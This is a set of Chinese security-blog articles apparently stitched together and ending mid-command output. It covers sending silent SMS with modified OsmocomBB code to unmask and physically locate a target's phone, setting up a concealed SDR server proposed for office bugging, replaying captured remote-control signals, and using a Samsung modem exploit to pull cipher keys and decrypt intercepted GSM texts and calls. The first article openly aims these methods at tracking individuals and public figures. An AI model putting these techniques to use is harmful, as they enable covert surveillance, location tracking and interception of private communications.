GSM Hacking:静默短信(Silent SMS)在技术侦查中的应用

Author:fl00der https://twitter.com/xdzou

GSM Hacking:The application of Silent SMS in technical investigation

GSM 基站

0x00 前言

技术侦查时我们经常需要对目标人物进行定位,监听目标人物的电话和短信。

如何做到呢?首选当然是高大上的7号信令系统(SS7)。你需要一个能够访问的支持MAP(Mobile Application Part)的SS7信令接入点,然后,你理论上就可以侦听,拦截,伪造全球任何移动用户的电话和短信了,也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上,除非某些运营商做了信令过滤,否则不管你从哪个国家接入SS7,命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起,对机构来说并不是很贵。

科普:

SilentSMS:静默短信

信令系统#7(SS7:Signaling System #7)由 ITU-T 定义的一组电信协议,主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术(CCS:common-channel signaling),也就是带外(out-of-band)信令技术,即信令服务提供独立的分组交换网络。

MAP:Mobile Application Part (移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。

MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。

Clipboard Image.png

但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢?

打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的Slient SMS的低成本实现方法和简单应用。

其实,Silent SMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,Silent SMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。

0x01 背景知识

手机号码(MSISDN)在移动通信网上是很少进行传输的。对于移动网络来说,区别不同手机的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN,移动网络收到你的请求后要把MSISDN映射回IMSI,然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的,好让你能知道知道对方是谁。

而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。

科普:

IMSI(International Mobile Subscriber Identity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。

无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(Temporary Mobile Subscriber Identity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。

所以,在我们侦听移动通信时会发现,上行的通信请求,不管是发短信还是打通话,只能侦听到发起者的TMSI和接收者的MSISDN;而下行的通信,不管是来电话还是来短信,只能侦听到发起者的MSISDN和接收者的TMSI。这样,如果我们不能找出TMSI和MSISDN的一一对应关系,我们就没法区分出哪些短信和通话是指向我们的目标人物的。

而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。

扩展阅读

关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。

0x02 原理

当有新的Mobile Terminated Services,通常是短信或来电,要传送的时候,移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI,就会向网络申请一个信道,申请成功后,手机转到该信道发送呼叫响应,网络回复该呼叫响应,然后经过鉴权、加密协商等流程后,网络开始向手机传送服务,这时手机才知道来的是电话还是短信,在收到一部分服务信息后,手机开始决定是否提示用户和如何提示用户,是来电话了还是收到短信了,是振铃还是震动等。

我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系,依靠的就是Paging。根据以上流程我们可以看到,如果我们电话呼叫目标手机,在一个合适的时间点,即网络上已经广播了Paging信息,但目标手机还未振铃之前及时挂断,目标手机也是没有提示的,而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程,我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于,这个合适的时延比较难把握,而且不同运营商,甚至不同区域的网络还有差异,调校起来比较费事。这时,Silent
SMS就成了我们的首选。

Silent SMS是一种特殊格式的短信,在短信报文头上设置特殊的标识位以后,接收者手机收到后不会有任何提示和反应,也不会存储短信内容,而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS,我们会侦听到网络广播的Paging信息,但是不需要像电话呼叫那样顾虑时延和及时挂断的问题,目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容,当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。

TMSI是在一个LAC(Location Area Code)/TA(Tracking Area)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。

0x03 低成本实现

朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。

网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS,用Airprobe + RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。

OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer 2和3是在PC上运行的。

Motorola C118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USB Hub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。

具体实现上,我们需要使用两部C118/C139手机,一部用来发送Silent SMS,另一部用来侦听PCH并记录正在呼叫的TMSI。

C118(左)和C139(右)兄弟合影:

C118&C139.jpg

用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:

CP2102.jpg

0x04 如何发送Silent SMS

OsmocomBB里的mobile程序是工作在Layer 2-3,用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实,可以把C118/C139看做是最便宜的短信猫,而修改过的mobile程序就是短信群发软件。

构造Silent SMS

每个短信都有一个TP-Protocol-Identifier字段,只要设置为0x40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。

我们只要在发短信之前,把对应的字段做好设置,发出的就是Silent SMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。

主要数据结构

为了按特定时序发送Silent SMS,我们需要一个定时器。设定好时间间隔,定时器就会被定时触发,然后调用发送函数去发送一条Silent SMS。

struct osmo_timer_list tick_timer_smsping;
struct {
    int pid;
    int dcs;
} silent_sms;

主要源代码

vty_interface.c

//新增控制台命令:silent,用于设置TP-PID和TP-DCS
DEFUN(silent, silent_cmd, "silent TP-PID TP-DCS",
    "Set SMS messages header\n"
    "1 for 0x40, 0 for default\n"
    "1 for 0xC0, 0 for default\n")
{
    int pid;
    int dcs;

    if (argc >= 1) {
        pid = atoi(argv[0]);
        dcs = atoi(argv[1]);
        if (pid) {
            silent_sms.pid = 1;
        } else {
            silent_sms.pid = 0;
        }
        if (dcs) {
            silent_sms.dcs = 1;
        } else {
            silent_sms.dcs = 0;
        }
    }

    return CMD_SUCCESS;
}

发送部分的源代码:

if(smscnt == MAX_SMS_Count){//开始批量发送
        tick_timer_smsping.cb = &sms_ping; //初始化定时器
        tick_timer_smsping.data = &timer_step;
        
        smscnt--;
        ping_sms_sca = strdup(sms_sca);
        ping_number = strdup(number);
        ping_sms_txt = strdup(argv_concat(argv, argc, 2));
        call_vty = vty;
        sms_send(ms, sms_sca, number, argv_concat(argv, argc, 2));
        vty_out(vty, "Slient SMS %d sent%s", smscnt, VTY_NEWLINE);
    }

gsm411_sms.c

struct gsm_sms *sms_from_text(const char *receiver, int dcs, const char *text)
{
    struct gsm_sms *sms = sms_alloc();

    if (!sms)
        return NULL;

    strncpy(sms->text, text, sizeof(sms->text)-1);

    sms->reply_path_req = 0;
    sms->status_rep_req = 0;
    sms->ud_hdr_ind = 0;
    if (silent_sms.pid)
        sms->protocol_id = 0x40; /* type 0 */
    else
        sms->protocol_id = 0; /* implicit */
    if (silent_sms.dcs)
        sms->data_coding_scheme = 0xC0;
    else
        sms->data_coding_scheme = dcs;
    strncpy(sms->address, receiver, sizeof(sms->address)-1);
    /* Generate user_data */
    sms->user_data_len = gsm_7bit_encode(sms->user_data, sms->text);

    return sms;
}

用来重复发送的源代码:

void sms_ping(void *data)
{
    struct osmocom_ms *ms;

    ms = get_ms("1", call_vty);
    vty_notify(ms, "ping sent");

    if(smscnt == 0){
        return 0;
    }

    sms_send(ms, ping_sms_sca, ping_number, ping_sms_txt);
    smscnt--;
    return 0;
}
static int gsm411_sms_report(struct osmocom_ms *ms, struct gsm_sms *sms,
    uint8_t cause)
{
    vty_notify(ms, NULL);
    if (!cause){
        vty_notify(ms, "SMS %d to %s successfull\n", smscnt, sms->address);
        if(smscnt != 0)
            osmo_timer_schedule(&tick_timer_smsping, 10, 0);//定时间隔10秒

    }else
        vty_notify(ms, "SMS to %s failed: %s\n", sms->address,
            get_value_string(gsm411_rp_cause_strs, cause));
    
    return 0;
}

使用mobile的命令行发送Silent SMS:

sendslientsms.jpg

使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0x40,0xC0,短信内容为“testing 1 2 3”:

sendsniff.jpg

0x05 如何筛选TMSI

OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。

在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。

数据结构

struct _tmsis_ {
    uint8_t     tmsi[4];
    char        cnt;
} tmsis[300];

列出TMSI的源代码

void tmsi_match(uint8_t *t)
{
    if(app_state.finding==1){
        int i;
        int f=0;
        for(i=0; i  app_state.mincnt){
                    printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
                }
            }
        }
        if((f==0)&&(app_state.tmsicnt<300)){//队列深度       
            app_state.tmsicnt += 1;
            memcpy(tmsis[i].tmsi,t,4);
            tmsis[i].cnt = 1;
            printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
        }
        return;
    }
    
    if(!memcmp(t, app_state.wanted_tmsi, 4)) {
        app_state.tmsi_matched = 1;
        printf("TMSI Match %s\n", osmo_hexdump(t,4));
    }
}

我们给ccch_scan新增加一个参数:-f paging次数。

国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。

static int l23_cfg_print_help()
{
    printf("\nApplication specific\n");
    printf("  -k --kc KEY           Key to use to try to decipher DCCHs\n");
    printf("  -t --tmsi TMSI        Filter assignments with specified TMSI (paging only)\n");
    printf("  -f --count        Filter paging TMSI\n");

    return 0;
}

static int l23_cfg_handle(int c, const char *optarg)
{
    switch (c) {
    case 'k':
        if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
            fprintf(stderr, "Invalid Kc\n");
            exit(-1);
        }
        break;
    case 't':
        if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
            fprintf(stderr, "Invalid TMSI\n");
            exit(-1);
        }
        app_state.finding = 0;
        break;
    case 'f':
        app_state.finding = 1;
        app_state.mincnt= atoi(optarg);
        break;
    default:
        return -1;
    }
    return 0;
}

运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:

TMSIfilter0.jpg

同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:

TMSIfilter.jpg

我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:

TMSIResult.jpg

用WireShark来侦听目标手机接收到的短信:

receivesniff.jpg

用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:

sniffsms.jpg

0x06 后记

手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。

本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。

关于LTE下的玩法,未来找时间专文再探讨吧。

如何用极路由+OpenWrt+RTL电视棒搭建一台SDR服务器,并隐秘地捕获和传输数据

本文作者:雪碧0xroot @漏洞盒子安全团队 cn0xroot.github.io
首发地址:http://www.freebuf.com/articles/wireless/121961.html

0x00 前言

近期因为有个从异地捕获无线信号的需求,便尝试着用OpenWrt+公网IP搭建了一台SDR服务器。如果有小伙伴嫌SDR硬件天线看起来太乱、或者电脑没有足够的USB接口也可在局域网搭建SDR服务器通过TCP/IP调用SDR硬件。

IMG_1741.JPG

HiWiFi router

0x01 获取root

刚买的极路由关闭了root功能,需要开启路由的开发者模式后才能通过SSH连入shell交互界面。申请开发者模式流程:进入路由器后台-云平台-路由器信息-高级设置-申请-绑定手机-输入验证码-绑定微信-微信账号绑定极路由账号。

下图是开启开发者模式前后的Nmap扫描结果:

Nmap

开启开发者模式后可通过1022端口进入路由器shell界面:

ssh root@192.168.199.1 -p 1022

ssh

0x02 极路由刷不死uboot

开启开发者模式后可对设备进行刷机,为了防止设备变砖可在设备刷入具有不死uboot之称的Breed Bootloader。在 http://breed.hackpascal.net/ 页面找到对应型号的uboot (极路由1s:HC5661、极路由2s:HC5761、极路由3:HC5861)

下载、刷入uboot

cd /tmp
wget http://breed.hackpascal.net/breed-mt7620-hiwifi-hc5861.bin
mtd -r write  breed-mt7620-hiwifi-hc5861.bin u-boot

显示rebooting后等待路由重启完成。

重启完毕后三灯亮起,这时需断开电源,按住路由器的RST重置键然后再通电,当看到电源灯闪烁时可以松开RST键。电脑通过网线接入后自动获取ip,用浏览器192.168.1.1即可登陆Breed控制台。

安全起见,备份所有内容:

0x03 极路由刷OpenWrt

由于SDR服务器需要一个USB接口来插电视棒,所以需要在购买极路由的时候选一款带USB接口的机器。其它带USB接口的OpenWrt路由器也适用下文的内容.

查看CPU信息:

cat /proc/cpuinfo

下载OpenWrt固件: 选择自己路由器对应的版本

cd /tmp
wget http://rssn.cn/roms/openwrt-15.05-ramips-mt7620-hc5861-squashfs-sysupgrade.bin
sysupgrade -F -n openwrt-15.05-ramips-mt7620-hc5861-squashfs-sysupgrade.bin

0x04OpenWrt安装RTL驱动

OpenWrt刷入重启后,进入管理界面:http://192.168.1.1user:rootpass:root

设置SSH密码

ssh root@192.168.1.1

Openwrt可以使用opkg命令对软件包进行管理

opkg update
opkg list |grep rtl
opkg install rtl-sdr

安装完成后便可将电视棒插入路由器的USB接口:

IMG_1743.JPG

启动OpenW上的rtl-sdr

OpenWrt终端执行:

rtl_tcp -a 192.168.1.1 -n 8 -b 8

之后OpenWrt上将开启1234端口:

0x05使用SDR服务

客户机上执行:

osmocom_fft -W -s 2000000 -f 144000000 -a 'rtl_tcp=192.168.1.1:1234'

osmocom_fft -F -s 1.5e6 -f 101e6 -a 'rtl_tcp=192.168.1.1:1234'

Clipboard Image.png

grqx

0x06利用场景

1.可在机场塔台、港口等地方使用SDR服务器监测ADB-S、AIS(船舶自动识别系统Automatic Identification System)

2.利用SDR+WIFI捕获 语音、图像数据:

Clipboard Image.png

Clipboard Image.png

更多细节可参考DefCon Paper:

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

How Hackers Could Wirelessly Bug Your Office
Video:YouTuBe

MayBe还能通过SDR服务器利用MouseJack漏洞对办公区域的键盘鼠标输入进行监听:

http://www.freebuf.com/articles/terminal/97011.html

http://www.freebuf.com/articles/wireless/115440.html

0x07 Refer

https://github.com/rssnsj/openwrt-hc5x61

http://www.binss.me/blog/install-openwrt-on-hiwifi-router/

http://www.right.com.cn/forum/thread-161906-1-1.html

http://www.levey.cn/352.htm

http://www.right.com.cn/forum/thread-161906-1-1.html

http://yo2ldk.blogspot.com/2016/03/wireless-sdr-receiver.html

http://adventurist.me/posts/0050

http://sdr.osmocom.org/trac/wiki/rtl-sdr
*本文作者:雪碧0xroot @漏洞盒子安全团队 cn0xroot.github.io,本文提供的工具、方法仅供安全研究用途,禁止非法使用

Wireless Hacking With SDR And GnuRadio

0x01 信号捕获

市面上常见的无线遥控工作的频段,通常工作在315Mhz、433Mhz,也有少数的会采用868Mhz.915Mhz这几个频点。 我们可以用电视棒、HackRF、BladeRF等SDR硬件来确定遥控的工作频率: 打开软件按下遥控器后,能在瀑布图上看到明显的反应:

osmocom_fft -F -f 443e6 -s 4e6

gqrx

无线遥控中心频率:433870000

0x02 录制信号

SDR软件通常支持录制信号,可将遥控的信号保存为wav音频文件或者以.cfile、.raw格式保存。

这里用gnuradio-companion流图来实现信号录制以及信号重放。

左侧osmocom Source模块调用SDR硬件,我们设置其中心频率为433.874MHz,采样率为2M:

右侧上边 QT GUI Sink模块将捕获到的信号在瀑布图上展示出来,右侧下边的File Sink将录制到的信号保存为/tmp/key.raw文件:

执行流图,按下遥控前:

按下遥控:

转到/tmp 缓存目录:

0x03 信号重放

接下来再用gnuradio-companion写个信号重放的流图:

左侧File Source调用捕获到的key.raw信号文件,osmocom Sink调用HackRF、BladeRF将信号发射出去,与此同时QT GUI Time Sink、QT GUI Frequency Sink模块分别在屏幕上显示时间轴(时间域)、频率幅度(频率域),执行流图:

bingo!

0×04 演示视频 demo

https://v.qq.com/x/page/m0332e0zdo7.html

0x05 信号分析

inspectrum key.raw

信号分析&转码细节参考: 如何使用SDR+inspectrum逆向分析无线遥控信号 一文。

s = ''
a = [0.333033, 0.326189, 0.0332124, 0.388094, 0.326704, 0.0154539, 0.322883, 0.0270275, 0.0150091, 0.443235, 0.362946, 0.027745, 0.430879, 0.443824, 0.0277048, 0.330736, 0.0290668, 0.0133217, 0.376686, 0.0123277, 0.00931546, 0.446231, 0.397617, 0.0162406, 0.447861, 0.0050071, 0.0109479, 0.389289, 0.0271959, 0.0138626, 0.32109, 0.0268736, 0.0129828, 0.401142, 0.326009, 0.0303488, 0.379368, 0.0229494, 0.0134011, 0.318115, 0.346288, 0.017666, 0.333818, 0.326769, 0.0141554, 0.341832, 0.0291055, 0.0153984, 0.446665, 0.399975, 0.024566, 0.316297, 0.0159851, 0.010876, 0.428384, 0.444201, 0.0214323, 0.376211, 0.00628675, 0.0105036, 0.44565, 0.0195615, 0.012549, 0.445242, 0.366523, 0.0225733, 0.324775, 0.0192127, 0.0134437, 0.318991, 0.381386, 0.0149852, 0.00882163, 0.447015]
for i in a:
    if i > 0.1:
        s +='1'
    else:
        s +='0'
print s
python test.py 
 11011010011011010010011010010010011010011011010011010011010010011010011001
pip install bitstring`
python
import bitstring

bitstring.BitArray(bin='11011010011011010010011010010010011010011011010011010011010010011010011001').tobytes()

Image

Automated RF/SDR Signal Analysis [Reverse Engineering]

Payload: \x36\x9b\x49\xa4\x9a\x6d\x34\xd2\x69\x9

thanks for tresacton‘s help (GitHub)

0x06 Hacking The world with watch

德州仪器生产的EZ430 Chronos手表由于采用了MSP430芯片,该芯片支持发射1GHz以下频率的无线信号,覆盖市面上各种常见的无线遥控频率(315MHz、433MHz、868MHz、915MHz):

 6.1 开发环境搭建

到 TI德州仪器官网下载:(需注册账号) CCS studio (Code Composer Studio ):http://processors.wiki.ti.com/index.php/Download_CCS

FET-Pro430-Lite程序:http://www.elprotronic.com/download.html

SmartRF Studio : http://www.ti.com.cn/tool/cn/smartrftm-studio

以及GitHub上面的 miChronos项目代码:http://github.com/jackokring/miChronos

百度网盘:https://pan.baidu.com/s/1hsse2Ni

windows 7如果不是Service Pack 1 则需下载安装Windows 7 和 Windows Server 2008 R2 Service Pack 1 (KB976932)补丁,否则无法安装 Code Composer Studio 下载地址:https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=5842

0x07 refer

Michael Ossmann: Software Defined Radio with HackRF, Lesson 11: Replay YouTuBe https://www.youtube.com/watch?v=CyYteFiIozM

TI eZ430-Chronos Hacking quickstart http://timgray.blogspot.jp/2012/12/ti-ez430-chronos-hacking-quickstart.html

The hackable watch: a wearable MSP430 MCU http://www.itopen.it/the-hackable-watch-a-wearable-msp430-mcu/

You can ring my bell! Adventures in sub-GHz RF land… http://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html?m=1

TI EZ430 Chronos watch, quick guide / tutorial to hacking the firmware https://www.youtube.com/watch?v=20dVNyJ8fYw&feature=youtu.be

Author:雪碧0xroot Blog

GSM Hacking Part ② :使用SDR捕获GSM网络数据并解密

作者:雪碧0xroot@漏洞盒子安全团队

0x00

在文章第一部分 http://www.freebuf.com/articles/wireless/110773.html 搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。

IMG_0857.JPG

0x01

1.1 获取三星漏洞利用代码:

这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试。

AT指令集是从终端设备(Terminal Equipment,TE)或数据终端设备(Data Terminal Equipment,DTE)向终端适配器(Terminal Adapter,TA)或数据电路终端设备(Data Circuit Terminal Equipment,DCE)发送的。

wget https://raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c

1.2 源码编译libusb:

wget http://jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig

1.3 gcc编译PoC:

gcc usbswitcher.c -o switcher -lusb

 

0x02 获取Kc、TMSI参数

插入三星设备,可以在/dev/ttyACM*中找到它:

三星.png

2.1 switcher

busybox microcom /dev/ttyACM0

busy.png

./switcher

swift.png

这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:

2.2 minicom

minicom -D /dev/ttyACM0

2.3 Kc

GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:

AT+CRSM=176.28448,0,0,9

演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803

2.4 TMSI 鉴权后分配临时识别码

临时识别码的设置是为了防止非法个人或团体通过监听无线路径上的信令交换而窃得移动客户真实的客户识别码(IMSI)或跟踪移动客户的位置。客户临时识别码(TMSI)是由MSC/VLR分配,并不断地进行更换,更换周期由网路运营者设置。更换的频次越快,起到的保密性越好,但对客户的SIM卡寿命有影响。TMSI的值也能通过AT指令来获取:

AT+CRSM=176.28542,0,0,11

演示视频中,Crazy Danish Hacker获得了该值为:9062FF7632F8665610FF00,取其前4bytes,也就是前8字节,即:9062FF76。

0x03 信号捕获

3.1 确定当前手机接入基站

手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入:

*#*#4636#*#*  

上面这个是安卓通用的如果你的手机没反应,还可以尝试

Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*拨号
HTC (Android) : *#*#7262626#*#*

进去以后能找到基站的MCC、MNC、ARFCN这些参数。

MCC 移动国家码
MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02

ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。
手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。

手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。

手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。

在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:

3.2 确定当前基站的下行频率:

打开http://www.cellmapper.net/arfcn.php

结果:

Clipboard Image.png

Network Type    GSM (TDMA)
E/U/ARFCN    12
Band Name    GSM-900
Uplink Frequency 上行频率 手机到基站
(phone to base station)    892.4 MHz
Downlink Frequency  下行频率 基站到手机
(base station to phone)    937.4 MHz
Band Number    900

获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000

3.3捕获下行数据包:

grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc

Usage: grgsm_capture.py [options]

RTL-SDR capturing app of gr-gsm.

Options:
  -h, --help            show this help message and exit //打印帮助信息
  -f FC, --fc=FC        Set frequency [default=none] //设定捕获数据的中心频率
  -a ARFCN, --arfcn=ARFCN  //设定ARFCN
                        Set ARFCN instead of frequency. In some cases you may
                        have to provide the GSM band also
  -g GAIN, --gain=GAIN  Set gain [default=30] //设定gain
  -s SAMP_RATE, --samp-rate=SAMP_RATE  //设定采样率 默认2M
                        Set samp_rate [default=2M]
  -p PPM, --ppm=PPM     Set ppm [default=0]
  -b BURST_FILE, --burst-file=BURST_FILE
                        File where the captured bursts are saved
  -c CFILE, --cfile=CFILE
                        File where the captured data are saved
  --band=BAND           Specify the GSM band for the frequency. Available
                        bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                        GSM450, GSM480, GSM850. If no band is specified, it
                        will be determined automatically, defaulting to 0.
  --args=ARGS           Set device arguments [default=]
  -v, --verbose         If set, the captured bursts are printed to stdout
  -T REC_LENGTH, --rec-length=REC_LENGTH
                        Set length of recording in seconds [default=none]
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
-g 指定gain参数 40
-a ARFCN 12
-s 设定采样率1MHz
-c 将捕获到的数据存入sms.cfile
-T 设定时间

命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。

Clipboard Image.png

ls -lah sms.cfile

Clipboard Image.png

捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。

0x04 信号解码

捕获完数据以后再次获取KC TMSI值:

minicom -D /dev/ttyACM0

KC:

AT+CRSM=176.28448,0,0,9

5973237C3E96980303 丢弃最后两位,即:5973237C3E969803

TMSI:

AT+CRSM=176.28542,0,0,11

9062FF7632F8665610FF00 取其前4bytes,也就是前8字节,即:9062FF76

ls -lah voice.cfile

一起来看看解码脚本的用法:

decode usage

grgsm_decode -h
Usage: grgsm_decode: [options]

Options:
  -h, --help            show this help message and exit //打印帮助信息
